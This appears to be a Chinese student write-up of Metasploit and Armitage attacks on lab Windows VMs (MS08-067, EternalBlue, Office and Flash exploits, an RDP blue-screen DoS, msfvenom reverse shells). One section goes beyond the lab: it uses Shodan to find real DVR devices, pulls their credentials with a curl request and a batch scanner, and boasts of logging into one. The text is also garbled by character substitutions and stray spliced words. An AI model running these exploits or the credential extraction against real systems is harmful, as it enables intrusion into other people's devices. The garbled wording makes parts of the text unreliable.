基于Armitage的MSF自动化集成攻击实践

基于Armitage的MSF自动化集成攻击实践

目录

返回目录php

0x01 实践环境

  • macOS下Parallels Desktop虚拟机中(网络源均设置为共享网络模式):
    • Kali Linux - 64bit(攻击机,IP为10.211.55.10
    • Windows 7 - 64bit(靶机,IP为10.211.55.14
    • Windows XP Professional Version 2002 Service Pack 3(靶机,IP为10.211.55.16

返回目录html

0x02 预备知识

  • Armitage基本介绍:
    • Armitage是一款基于Java的Metasploit图形界面化的攻击软件,能够用它结合 Metasploit中已知的exploit来针对主机存在的漏洞自动化攻击。经过命令行的方式使用Metasploit难度较高,须要记忆的命令过多,而Armitage完美的解决了这一问题,用户只须要简单的点击菜单,就能够实现对目标主机的安全测试和攻击。Armitage良好的图形展现界面,使得攻击过程更加直观,用户体验更好。因其操做的简单性,尤为适合Metasploit初学者对目标系统进行安全测试和攻击。
  • Armitage攻击目标主机的的通常方法:python

    • 目标网络扫描:为了肯定目标主机所在网络结构的网络拓扑,为后续目标主机信息搜索和攻击奠基基础。
    • 目标主机信息搜集:为了收集目标主机的漏洞信息,根据收集到的漏洞信息能够利用Armitage在Metasploit中自动搜索合适的攻击模块。
    • 目标主机攻击模块搜索:主要方法是依据发现的漏洞信息寻找能够突破目标系统的现有漏洞利用模块,为具体的攻击方案制定提供尽量多的可靠支撑。

返回目录mysql

0x03 Armitage基础配置

  • Armitage官网妹子镇楼:
  • 打开Kali攻击机,在终端中输入/etc/init.d/postgresql start命令启动postgresql服务:
  • 在msfconsole中输入armitage命令启动Armitage(在终端中直接输入也能够):

    也能够经过菜单栏图标直接打开Armitage! 对就是这个一脸坏笑的科技感十足的妹子233

    界面以下:

返回目录linux

0x04 Nmap:Armitage下信息搜集与漏洞扫描

  • 因为本次实践中靶机的IP已知,这里能够直接导入靶机的IP10.211.55.16,不过更通常的方法是根据已知信息推导出目标主机所在网段的IP,扫描目标网段完整信息,确认目标网络拓扑结构以实施网络侦查。在Armitage上方工具栏中依次选择Hosts->Nmap Scan->Quick Scan(OS detect)

    填写靶机所在网段10.211.55.0/24

    唔...这不就一样给靶机扫出来了吗!
  • 选中靶机10.211.55.16,右键选择Services,查看靶机上开启的服务:

    可见靶机的139端口开启了netbios-ssn服务,445端口开启了microsoft-ds服务~
  • 选中靶机10.211.55.16,右键选择Scan,Armitage会调用Metasploit的漏洞扫描模块,定向扫描靶机,寻找存在的漏洞,为下一步肯定攻击方法提供参考依据:

    可见相似前几回实验在Metasploit中手动配置主机号、端口号等设置如今通通直接自动化了!
  • 利用上一步中漏洞扫描获得的漏洞信息,自动搜索Metasploit攻击模块库,寻找合适的攻击模块。选中靶机10.211.55.16,依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索寻找合适的攻击模块:
  • 搜索完成,Happy hunting^_^

返回目录ios

0x05 Armitage下漏洞自动化攻击实践

5.1 ms08_067_netapi(CVE-2008-4250):Windows远程溢出漏洞自动化攻击

  • ms08_067漏洞介绍:nginx

    This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. This module is capable of bypassing NX on some operating systems and service packs. The correct target must be used to prevent the Server Service (along with a dozen others in the same process) from crashing. Windows XP targets seem to handle multiple successful exploitation events, but 2003 targets will often crash or hang on subsequent attempts. This is just the first version of this module, full support for NX bypass on 2003, along with other platforms, is still in development.git

    • ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击能够得到一个相对高的权限。github

    • CVE ID:CVE-2008-4250算法

    • 原理:攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call 远程过程调用)请求,经过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize()函数时触发,NetPathCanonicalize()函数在远程访问其余主机时,会调用NetpwPathCanonicalize()函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize()函数中发生了栈缓冲区内存错误,形成可被利用实施远程代码执行。

    • 危害:攻击者能远程主动发起对漏洞主机端口的扫描,而且能直接得到漏洞主机的系统权限,属于最高严重级别的漏洞。

  • 在利用Armitage完成对靶机的攻击模块自动化搜索之后,选中10.211.55.16主机右键能够发现多了Attack菜单。依次选择Attack->smb->ms08_067_netapi菜单,选择smb漏洞下的ms08_067漏洞对XP靶机进行攻击(也能够在Armitage左侧树型目录下依次选择exploit->windows->smb->ms08_067_netapi找到该漏洞):
  • 在弹出的攻击配置对话框中配置LHOST/RHOST、LPORT/RPORT等信息(通常会自动配置好,这里把LPORT改为学号),Targets处配置靶机的系统(通常默认自动检测靶机系统),勾选Use a reverse connection,点击Launch开始攻击:
  • Armitage会进行一系列自动化攻击!攻击完成后,能够看到靶机的图标会发生明显变化:
  • Armitage会自动创建一个驻留在内存的shellcode即Meterpreter。在攻击成功的靶机上右键选择Meterpreter 1->Interact->Command Shell,输入dir命令查看靶机C:\WINDOWS\system32目录下的系统文件:

    攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):
  • 在攻击成功的靶机上右键选择Meterpreter 1->Interact->Meterpreter Shell,输入getuid命令查看靶机当前用户的权限是SYSTEM权限:

    攻击完成(⁎⁍̴̛ᴗ⁍̴̛⁎):

返回目录

5.2 ms14_064_ole_code_execution(CVE-2014-6352):IE远程代码执行漏洞自动化攻击

  • ms14_064_ole_code_execution漏洞简介:

    This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. The vulnerability is known to affect Internet Explorer 3.0 until version 11 within Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead.

    • CVE ID:CVE-2014-6352

    • 原理及危害:OLE(对象连接与嵌入)是一种容许应用程序共享数据和功能的技术。UAC(User Account Control,用户账户控制)是微软为提升系统安全而在Windows Vista中引入的新技术。Microsoft Windows在OLE组件的实现上存在安全漏洞,未经身份验证的远程攻击者可利用此漏洞执行远程代码。此漏洞源于没有正确处理含有OLE对象的Office文件。

    • 受影响系统版本:
      • Microsoft Windows Vista
      • Microsoft Windows Server 2012
      • Microsoft Windows Server 2008
      • Microsoft Windows RT
      • Microsoft Windows 8.1
      • Microsoft Windows 8
      • Microsoft Windows 7
  • 在Armitage左侧树型目录下依次选择exploit->windows->browser->ms14\_064\_ole\_code\_execution找到该漏洞并双击打开配置界面开始配置。注意!此处须要把AllowPowershellPrompt置为1!!而后配置好LHOST/RHOST、LPORT/RPORT等信息(把LPORT改为学号,其他均取默认值),Targets处配置靶机的系统Windows XP,点击Launch开始攻击:
  • Armitage会进行一系列自动化攻击!
  • 靶机打开IE浏览器,输入meterpreter提供的URLhttp://10.211.55.10:8080/0KO2YrGZdZ1viW/SrEsdO/并回车,在靶机看来彷佛并无发生什么!然而此时Armitage中靶机的图标已发生明显变化,代表Kali攻击机已攻击成功!!

  • 开始操做一波吧^_^在攻击成功的靶机上右键选择Meterpreter 1,发现除了上个攻击实践中查看Command ShellMeterpreter Shell功能以外,还具备查看浏览器文件、进程、截屏等功能!
    • 选择Explore->Browse Files查看浏览器文件:
    • 选择Explore->Show Processes查看靶机进程(这个比较有用啊emmm):
    • 选择Explore->Screenshot进行截屏(据说你是截屏狂魔?):
    • 选择Explore->Webcam shot调一波网络摄像头(颜控必备233):

      什么?!居然没装摄像头!欺骗我感情啊o(︶︿︶)o

返回目录

5.3 ms17_010_eternalblue(CVE-2017-0143):“永恒之蓝”自动化攻击

  • ms17_010_eternalblue漏洞介绍:

    This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.

    • EternalBlue是2017年席卷全球的WannaCry勒索病毒的罪魁祸首,是微软近些年来最为严重的远程代码执行漏洞,能够直接得到系统权限。百度上EternalBlue通常指去年爆发的WannaCry,其实是该勒索病毒软件利用了NSA泄露的危险漏洞EternalBlue进行传播。关于WannaCry详见WannaCry - 百度百科以及我去年写的博客应对WannaCry勒索危机之关闭445端口等危险端口——以本人Windows7系统为例

    • CVE ID:CVE-2017-0143

    • 原理:
      • 利用Metasploit中近期更新的针对ms17-101漏洞的攻击载荷进行攻击获取主机控制权限。
      • 利用windows系统的Windows SMB远程执行代码漏洞向Microsoft服务器消息块(SMBv1)服务器发送经特殊设计的消息,能容许远程代码执行。
    • 主要用途:
      • Windows的SMBv一、SMBv2远程溢出漏洞,对应MS17_010,主要针对445端口
    • 受影响系统版本:
      • 较广,从WindowsXP到Windows server 2012
  • 在Armitage菜单栏依次选择Hosts->Nmap Scan->Quick Scan(OS detect)并填写靶机所在网段10.211.55.0/24搜索存活的主机:

    发现两台能够攻击的靶机,一台XP(IP为10.211.55.16)一台win7(IP为10.211.55.14):
  • 依次选择菜单栏Attacks->Find Attacks,Armitage会开始自动搜索靶机寻找合适的攻击模块,对于win7右键依次选择Attack->smb,能够发现Armitage提供了5个可供攻击的smb漏洞,选择check exploits检查这些漏洞是否能被攻击:

    能够看到除了第一个漏洞ipass_pipe_exec没有检测结果不知道可否进行攻击以外其余4个所有阵亡,要么不可利用(not exploitable)要么检测不出来(not support check):


    并无找到所谓的eternalblue,怎么破?
  • 别着急,这里咱们仍是在Armitage左侧树型目录下依次选择exploit->windows->smb->ms17_010_eternalblue找到传说中的eternalblue永恒之蓝并双击打开配置界面,相关配置均用默认值便可:

    特别注意的是,eternalblue是针对445端口进行攻击的,攻击成功与否关键在于靶机是否开放了这个端口!!!
  • 点击Launch开始攻击win7:


    攻击不成功?!再来!
  • 从新双击打开eternalblue配置界面,勾选Use a reverse connection,点击Launch开始攻击:

    看看win7靶机的图标,攻击成功!!!

    查看session并进入,获取shell:

    接下来该干什么,你懂的^_^Happy hunting^_^
  • 不过另外一台靶机就没那么给面子了,可能因为eternalblue只能攻击Windows 7和Windows server 2008,攻击xp时会显示操做系统不匹配攻击不成功(._.)

返回目录

5.4 office_ms17_11882(CVE-2017-11882):Office远程代码执行漏洞自动化攻击

  • Microsoft Office CVE-2017-11882漏洞介绍:

    Module exploits a flaw in how the Equation Editor that allows an attacker to execute arbitrary code in RTF files without interaction. The vulnerability is caused by the Equation Editor, to which fails to properly handle OLE objects in memory.

    • 这是一个潜伏了17年之久的远程代码执行漏洞。该漏洞为Office内存破坏漏洞,影响目前流行的全部Office版本。原理是利用了Office的一个EQNEDT32.EXE(公式编辑器)组件,攻击者可以以当前登陆的用户的身份执行任意命令。详细请参照打开文档变肉鸡:潜伏17年的“噩梦公式”Office漏洞攻击分析

    • CVE ID:CVE-2017-11882

    • 受影响系统版本:
      • Office 365
      • Microsoft Office 2000
      • Microsoft Office 2003
      • Microsoft Office 2007 Service Pack 3
      • Microsoft Office 2010 Service Pack 2
      • Microsoft Office 2013 Service Pack 1
      • Microsoft Office 2016
  • 在win7靶机上安装Microsoft Office 2016:
  • 在Kali攻击机中依次输入如下命令生成doc测试文件:
    • 安装启动nginx:
      apt-get install nginx
      cd /usr/share/nginx/html/
      systemctl start nginx
    • 下载生成doc的python脚本:
      git clone https://github.com/Ridter/CVE-2017-11882.git
      cd CVE-2017-11882/
    • 生成测试文件cve.doc(靶机在打开该测试文件时同时会自动打开计算器程序calc.exe,以验证Office CVE-2017-11882漏洞的存在):
      python Command43b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o cve.doc
    • cve.doc放到网站根目录:
      cp cve.doc /usr/share/nginx/html/
      ls /usr/share/nginx/html/
  • 用ncat向靶机发送cve.doc
    • win7靶机用命令行进入ncat目录,打开监听:
      ncat.exe -lv 5314 > cve.doc
    • Kali攻击机创建链接并传输:
      ncat -nv 10.211.55.14 5314 < cve.doc
  • 靶机进入ncat目录,打开cve.doc,成功弹出calc.exe计算器程序,测试成功:

  • 在Armitage左侧树型目录下依次选择exploit->windows->fileformat->office\_ms17\_11882找到该漏洞并双击打开配置界面开始配置,注意有两处配置须要手动修改:
    • FILENAME+一栏填写生成doc文件的名字cve2.doc
    • 设置URI路径时要与上面生成doc时配置的路径一致!
  • 点击Launch开始自动化攻击流程:
  • 注意这条提示信息!它指明了刚刚MSF生成的cve2.doc所在路径!

    而后咱们进入该目录并用ncat把cve2.doc传到靶机上:
  • win7靶机进入ncat目录,打开cve2.doc,触发访问10.211.55.10:8080/5314就会获得反弹到5314端口的TCP会话:


    因而可怜的靶机又被我攻陷了哈哈哈哈哈!!

    来抓个屏笑一个?^_^

返回目录

5.5 CVE-2018-4878:Adobe Flash 0day漏洞自动化攻击

  • Adobe Flash CVE-2018-4878漏洞介绍:

    2018年2月1日,Adobe官方发布了Adobe Flash Player系列产品的安全通告(APSA18-01),一个最新的Adobe Flash 0day漏洞被发现针对韩国地区的人员发起攻击,该0day漏洞编号为CVE-2018-4878,目前最新版本28.0.0.137及其之前版本的Adobe Flash Player均受漏洞影响。直到2月5日,Adboe才发布补丁来修复此0day漏洞。

    攻击者经过构造特殊的Flash连接,并将恶意Flash连接嵌入Office文档、网页或者桌面应用,当用户用浏览器/邮件/Office访问此Flash连接时,会被“远程代码执行”,而且直接被getshell。

    • 受影响系统版本:

      产品 版本 平台
      Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Windows,Macintosh
      适用于Google Chrome的Adobe Flash Player 28.0.0.137和更早版本 Windows,Macintosh,Linux和Chrome操做系统
      适用于Microsoft Edge和Internet Explorer 11的Adobe Flash Player 28.0.0.137和更早版本 Windows 10和8.1
      Adobe Flash Player桌面运行时 28.0.0.137和更早版本 Linux

因为Armitage中并未自带此漏洞的攻击模块,咱们须要本身配置攻击环境!

  • 下载并解压CVE-2018-4878-master.zip,输入命令:

    unzip CVE-2018-4878-master.zip

  • 用msfvenom生成shellcode,注意IP地址应为Kali的IP,输入命令:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 -f python > code.txt

  • 查看代码文件,输入命令:

    cat code.txt

  • 进入CVE-2018-4878-master.zip的解压目录,编辑cve-2018-4878.py文件,输入命令:

    vim cve-2018-4878.py


    将下面红色标出的部分用刚才生成的shellcode替换:

    而后修改swf文件和html文件路径为本身的路径并保存退出:

  • 用python执行脚本文件生成exploit.swfexploit.html,输入命令:

    python cve-2018-4878-master.py

  • 启动Apache服务,输入命令:

    service apache2 start

    能够用netstat命令查看Apache服务是否开启:

    service apache2 status

  • Apache服务成功开启后,将以前生成的cp exploit.swfexploit.html复制到apache2服务的网页目录下,输入命令:

    cp exploit.swf /var/www/html/exploit.swf
    cp exploit.html /var/www/html/exploit.html


    至此,攻击环境基本配置完成,如今只要受害者访问咱们的连接就能够直接被远程控制!

下面开始用Armitage操做一波!看仔细咯~

  • 老规矩,启动Armitage定向扫描,先将我们的win7靶机给扫出来:


    须要注意的是Armitage界面下方的Console能够直接输入metasploit的相关命令!
  • 使用handler监听模块,输入命令:

    use exploit/multi/handler
  • 将攻击载荷设置为咱们在生成文件的时候所选择的攻击载荷(此处为反弹TCP链接),输入命令:

    set payload windows/meterpreter/reverse_tcp
  • 设置Kali攻击机的IP和监听端口(咱们在用msfvenom生成shellcode时设置的端口),输入命令:

    set LHOST 10.211.55.10
    set LPORT 5314
  • 攻击配置完成,开启监听,输入命令:

    exploit


    万事俱备,就等靶机一个反弹链接骚操做啦>_<

  • win7靶机下载安装Adobeflash 28.0:

    选择不检查更新:
  • 用IE访问http://10.211.55.10:8088/exploit.html
  • OK攻击成功!此时咱们能够看到Kali攻击机已经获取到sessions:
  • 接下来又到了得到shell的时间!先查看一波系统配置吧>_<

    其实在Armitage里得到shell以后的操做并无直接在MSF命令行里那么舒服,下面展现一波我用msfconsole又作了一遍的结果:
  • 玩点啥呢...截个屏呗?
  • 查看一波系统进程!
  • 来玩玩没玩过的!试试这个什么ARP扫描>_<

    默认设置,直接开干>_<

    唔...好像确实挺牛逼的,能把ARP缓存表给扫出来,连我用的是PD都知道0.0
  • 这是...远程桌面控制吗?!

    然鹅很遗憾个人win7靶机并没装VNC viewer...因此此次就算了吧>_<暂时放过你233

返回目录

5.6 CVE-2018-9995:DVR登陆绕过漏洞攻击

  • CVE-2018-9995漏洞介绍:

    2018年5月1日,一名阿根廷安全研究人员Ezequiel Fernandez发布了一款功能强大的新型黑客工具,能够轻松地提取各类数字视频录像机(DVR)品牌的明文凭证,并授予攻击者访问这些系统的权限,本质上来讲就是容许用户随意查看DVR录制的视频记录。

    该工具名为“getDVR_Credentials”,是CVE-2018-9995的概念验证(proof-of-concept,简称PoC),而CVE-2018-9995是Fernandez于上月初发现的一个安全漏洞。

  • 使用shodan获取有可能存在漏洞的设备,搜索关键字GNU rsp/1.0(还可使用zoomeye,fofa,google等搜索引擎搜索设备,这里我就未作其余尝试了):
  • 使用curl命令获取该MDVR设备的登陆密码(条件是存在device.rsp页面并可访问),这简直是一条万能的命令啊:

    curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"

    嘻嘻,list出来两组用户名和密码!!!还等什么赶忙试试!!
  • 输入任一组用户名和密码以后就能登陆DVR设备了>_ <能够说很是易行且致命> _ <因为某些缘由这里就再也不上图啦> _<

  • 开心之余,咱们能够思考一下可否将这种入侵手段作成MSF的一个攻击模块而后利用我们的Armitage实施自动化攻击呢?实际上这位阿根廷大佬已经写好了一个py工具发布在他的github上!咱们能够直接拿来用233>_<
  • Kali攻击机打开终端,依次输入如下命令进行安装配置:

    git clone https://github.com/ezelf/CVE-2018-9995_dvr_credentials.git
    cd CVE-2018-9995_dvr_credentials
    pip install -r requirements.txt

  • 一切准备就绪,开始攻击!!!输入如下命令:

    python getDVR_Credentials.py --host HOST --p PORT

    --p PORT不指出也行喔!

    emmmm成功啦,能够看出这台XVR设备存在弱口令漏洞,密码居然为空666666再黑进一波,溜了~

DVR系列设备漏洞批量检测

  • Kali攻击机终端中输入命令vim CVE-2018-9995_check.py新建CVE-2018-9995_check.py
  • 这里咱们直接拿来hzkey大佬的脚本,该脚本用来批量检测咱们输入送检的DVR系列设备是否存在login.rsp页面,输入如下代码而后保存并退出:

    import tableprint as tp
      import sys
      import requests
      import re
    
      class Colors:
          GREEN = '\033[32m'
          RED = '\033[0;31m'
          BLUE = '\033[*]'
          ORANGE = '\033[33m'
    
      def check_host(host):
          try:
              print(Colors.ORANGE+"Checking : %s"%host)
              url = 'http://' + host+'/login.rsp'
              rr= requests.get(url,timeout=30,allow_redirects=False)
              if rr.status_code == 200 and re.findall("GNU rsp/1.0", rr.headers["Server"]):
                  print(Colors.GREEN+"[*] CVE-2018-9995 Detection :Url is %s"%url)
                  ff=open('result.txt','a+')
                  ff.write('%s\n'%(url))
          except:
              pass
      if __name__ == '__main__':
          if len(sys.argv) < 2:
              print(Colors.BLUE+"""Usage: Python3 CVE-2018-9995.py host.txt
      host.txt:127.0.0.1:8080 or www.baidu.com
      """)
          if len(sys.argv) >= 2:
              file = open(sys.argv[1])
              for i in file:
                  i = i.strip()
                  check_host(i)
              file.close()
  • 用命令vim host.txt新建host.txt,内容能够为shodan等搜索引擎上搜到的设备的IP:PORT(能够不写端口)或者域名的形式;
  • 输入如下命令:

    python CVE-2018-9995_check.py host.txt

    脚本运行后对使用了DVR系列摄像头的host会保存到result.txt文件里:

    啧啧啧shodan第一页上10台DVR系列的设备居然有9台存在漏洞!抱歉咱们Hacker就是能够随心所欲!!!

返回目录

0x06 Armitage下Auxiliary辅助模块应用

6.0 Metasploit Auxiliary辅助模块概述

Metasploit的辅助模块主要用于信息搜集阶段,功能包括扫描、口令猜解、敏感信息嗅探、FUZZ测试发掘漏洞、实施网络协议欺骗等。这些模块能够分为Admin、Scanner、Server三个大类。

根据本学期《网络对抗技术》和《网络安全协议》课程所学知识,咱们能够按照不一样协议和服务对应的端口来对辅助模块进行功能性划分:

端口 协议或服务 模块名 路径 功能
信息收集 psnuffle auxiliary/sniffer/psnuffle 嗅探抓包
dir_scanner auxiliary/scanner/http/dir_scanner 扫描网站目录
search_email_collector auxiliary/gather/search_email_collector 搜索网站中的E-mail
服务扫描及利用 syn auxiliary/scanner/portscan/syn SYN端口扫描
tcp auxiliary/scanner/portscan/tcp TCP端口扫描
xmas auxiliary/scanner/portscan/xmas TCP "XMas"端口扫描
ack auxiliary/scanner/portscan/ack ACK防火墙扫描
arp_sweep auxiliary/scanner/discovery/arp_sweep 探测网段中存活主机
21 FTP ftp_version auxiliary/scanner/ftp/ftp_version FTP主机扫描
anonymos auxiliary/scanner/ftp/anonymos FTP匿名登陆
22 SSH ssh_version auxiliary/scanner/ssh/ssh_version SSH服务扫描
ssh_login auxiliary/scanner/ssh/ssh_login SSH口令猜想
23 Telnet telnet_version auxiliary/scanner/telnet/telnet_version Telnet服务扫描
telnet_login auxiliary/scanner/telnet/telnet_login Telnet口令猜想
25 SMTP smtp_version auxiliary/scanner/smtp/smtp_version SMTP版本扫描
smtp_enum auxiliary/scanner/smtp/smtp_enum SMTP枚举
69 TFTP tftpbrute auxiliary/scanner/tftp/tftpbrute FTP文件扫描
anonymous auxiliary/scanner/ftp/anonymous FTP匿名登陆
13九、445 SMB smb_version auxiliary/scanner/smb/smb_version 扫描操做系统版本
smb_lookupsid auxiliary/scanner/smb/smb_lookupsid 扫描组的用户
smb_login auxiliary/scanner/smb/smb_login 用于登陆
smb_enumusers auxiliary/scanner/smb/smb_enumusers 枚举系统上的用户
161 SNMP snmp_enum auxiliary/scanner/snmp/snmp_enum 批量检测SNMP
snmp_login auxiliary/scanner/snmp/snmp_login 扫描SNMP主机
1521 oracle tnslsnr_version auxiliary/scanner/oracle/tnslsnr_version oracle服务扫描
1433 mssql mssql_ping auxiliary/scanner/mssql/mssql_ping 扫描开放mssql主机
3306 mysql mysql_login auxiliary/scanner/mysql/mysql_login mysql口令猜想
5432 postgres postgres_login auxiliary/scanner/postgres/postgres_login postgres口令猜想
8080 tomcat tomcat_mgr_login auxiliary/scanner/http/tomcat_mgr_login tomcat口令猜想

返回目录

6.1 John the Ripper:Linux口令破解模块攻击实践

  • jtr_linux密码破解模块简介:

    This module uses John the Ripper to identify weak passwords that have been acquired from unshadowed passwd files from Unix systems. The module will only crack MD5 and DES implementations by default. Set Crypt to true to also try to crack Blowfish and SHA implementations. Warning: This is much slower.

    • 用途:最流行的口令破解器,用于破解弱口令Hash(默认只破解MD5和DES,将Crypt选项置为true也可以慢速破解Blowfish和SHA)
  • John the Ripper简介:

    The John The Ripper module is used to identify weak passwords that have been acquired as hashed files (loot) or raw LANMAN/NTLM hashes (hashdump). The goal of this module is to find trivial passwords in a short amount of time. To crack complex passwords or use large wordlists, John the Ripper should be used outside of Metasploit. This initial version just handles LM/NTLM credentials from hashdump and uses the standard wordlist and rules.

    • JTR官网:John the Ripper - Metasploit Unleashed
    • 原理:JTR(以及任何离线密码破解器)的工做方式是计算列表(或所生成的)单词的Hash,并将它们与须要被破解的Hash对比,当存在匹配时它就假设密码找到了。
  • 首先咱们须要以特定格式设置用户名和密码Hash(这里选择用MD5在线生成):
    • 访问MD5在线加解密网站CMD5,在上方【密文】处输入一段字符串,下方【查询结果】处就当即显示出结果(只要不超过31位,不然会卡住233):
    • 分别将不一样用户名对应的密码通过MD5在线加密以后获得Hash值,得到下面这张表:

      用户名 密码 Hash
      admin admin 21232f297a57a5a743894a0e4a801fc3
      user user ee11cbb19052e40b07aac0ca060c23ee
      Tom password 5f4dcc3b5aa765d61d8327deb882cf99
      jtr_linux abc123 e99a18c428cb38d5f260853678922e03
      20155314 qwertyu123. 682e9cfe26d949a10009cfc9969076ad
      kxjsjc@163.com kxjsjc_wx_1553 d80b3f4f2517d9a3ecf2a1e8031f6ff1
  • 在Kali攻击机中新建一个名为hashes.txt的文本文件,把表中信息添加进去,每行包含一个用户名和一个Hash,以:分隔(username:hash):
  • 在Armitage左侧树型目录下依次选择auxiliary->analyze->jtr_linux并双击打开开始配置,配置好JOHN_PATH而后点Launch
  • show options命令还能够查看模块的有效选项及其详细描述:
  • Armitage会为咱们生成一个单词列表文件WordList,可是不知道什么缘由它并无识别出个人hashes.txt而报错:(
  • 此时咱们手动使用刚刚Armitage生成的单词列表进行破解,打开终端并执行如下命令:
    john --wordlist=/tmp/jtrtmp20180502-5917-ctqwpk --format=raw-md5 hashes.txt

    能够看到单词列表中6个口令破解了4个。咱们还能看出,John每秒能尝试10,013,000次(10,013KC/s)!!!
  • 至于剩下的两个,多是我把密码设置得太复杂的缘由吧一直没破解出来(ー ー;)将--wordlist选项去掉采用暴力破解的方式也一直没跑出来(ー ー;)时间缘由跑了不到10分钟就被我掐掉了感受速度仍是比彩虹表要慢不少啊(ー ー;)

返回目录

6.2 ms12_020_maxchannelids(CVE-2012-0152):Windows远程桌面释放重引用拒绝服务模块之死亡蓝屏攻击实践

  • MS12-020 Microsoft Remote Desktop Use-After-Free Denial of Service模块简介:

    This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

  • UAF(Use-After-Free)释放重引用漏洞简介:

    Use-After-Free是一种内存破坏漏洞,成因是一块堆内存被释放了以后又被使用(指针存在)。这个引用的结果是不可预测的。

    举例:假设一个对象A前4字节(0x400000)为函数printf,释放后,恶意用户重用这个空间,将前4字节改成(0x4a0000)system函数,而后来到漏洞的触发点,程序因为疏忽再次调用A的printf,却调用了system函数。

  • MS12-020漏洞简介:
    • MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞。

    • CVE ID:CVE-2012-0152

    • 原理:使用了CVE-2012-0152远程桌面协议RDP拒绝访问漏洞。远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。Windows在处理某些对象时存在错误,可经过特制的RDP报文访问未初始化的或已经删除的对象,致使任意代码执行,而后控制系统。

    • 危害:若存在该漏洞,其最严重的状况可能会形成被攻击系统被远程执行任意代码,而一般状况下会形成对方蓝屏或重启。

    • 受影响系统版本(开了RDP的):
      • Microsoft Windows XP Professional
      • Microsoft Windows XP Home
      • Microsoft Windows Server 2003 Standard Edition
      • Microsoft Windows Server 2003 Enterprise Edition
      • Microsoft Windows Server 2003 Datacenter Edition
      • Microsoft Windows 7
  • 为了达到咱们的实践效果,咱们须要在win7靶机上开启远程桌面协议,步骤以下:
    • 在【计算机】上右键属性打开属性菜单,容许远程桌面链接:
    • 在【控制面板】中打开【网络和共享中心】,更改【高级共享设置】:

      启用公用文件夹共享:
    • 按下快捷键windows + R打开运行,输入services.msc打开计算机服务管理,启动远程桌面服务(默认是禁止的):
    • 修改防火墙设置,增长一条容许链接tcp 3389端口的入站记录,或者干脆直接关闭防火墙!
    • 在cmd中输入命令netstat -a查看端口开放状况,能够看到此时3389端口已经开放:
  • Kali攻击机打开Armitage,在上方工具栏中依次选择Hosts->Nmap Scan->Quick Scan(OS detect),填写靶机所在网段10.211.55.0/24,而后选中靶机10.211.55.14,右键选择Services,查看靶机上开启的服务:

    可见靶机已经开启了3389远程服务,那么接下来咱们利用Armitage中MS12-020这个RDP拒绝访问漏洞辅助模块来进行攻击!

  • 在Armitage左侧树型目录下依次选择auxiliary->dos->windows>rdp>ms12_020_maxchannelids(也可直接在下方搜索栏输入关键字搜索,更快)并双击打开配置,发现RHOST和RPORT已经被默认设置为靶机的配置,咱们直接点击Launch便可进行攻击:

  • Armitage这边显示靶机的RDP协议seems down,一看靶机那边瞬间蓝屏( ̀⌄ ́)哦哟攻击成功!!!

    咱们的口号是——蓝屏的*,好喝的*!(广告莫名植入)

    同时,咱们能够从蓝屏信息中看出此次蓝屏是因为RPDWD.SYS引发的内存地址异常(0x00000050),有分析称出现漏洞的罪魁祸首是该文件中的HandleAttachUserReq()函数。

    随后win7靶机自动重启,而后弹窗提示刚刚异常关机了(废话不异常才怪呢嘿嘿嘿):

返回目录

0x07 Armitage下网络欺诈综合应用

7.1 Social Engineering Toolkit:Armitage下利用SET工具构造payload获取Windows开机密码

咱们还能够将Exp7中用到的setoolkit和Armitage配合使用进行社会工程学攻击,实现靶机自动上线并获取靶机Administer帐户登陆密码!

  • 打开Kali攻击机,终端中输入setoolkit命令启动SET工具,而后输入y,出现欢迎页面,选择1进行社会工程学攻击:
  • 选择4生成一个payload和监听:
  • 选择2Windows Reverse_TCP Meterpreter:
  • 配置LHOST(Kali攻击机IP)和LPORT(本身学号),而后输入yes
  • 打开自动生成的payload.exe目录并找到该文件:
  • 将生成的payload.exe利用ncat传到靶机并运行:
    • win7靶机用命令行进入ncat目录,打开监听:
      ncat.exe -lv 5314 > payload.exe
    • Kali攻击机创建链接并传输:
      ncat -nv 10.211.55.14 5314 < payload.exe
  • 此时在setoolkit中发现已经有一个session被打开:
  • 使用sessions命令查看当前可链接的会话,并用sessions -i进行链接:
  • 接下来就...嘿嘿嘿你懂的>_<

    咱们的口号是:搞事情!搞事情!搞事情!

下面终于轮到咱们的Armitage大干一番了!!!

  • 打开Armitage,在顶端工具栏中依次选择Armitage->Listeners->Set LHOST,填写Kali攻击机IP地址:

  • 选择Reverse(wait for)设置端口和类型:
  • 填写端口(学号)和Meterpreter类型:
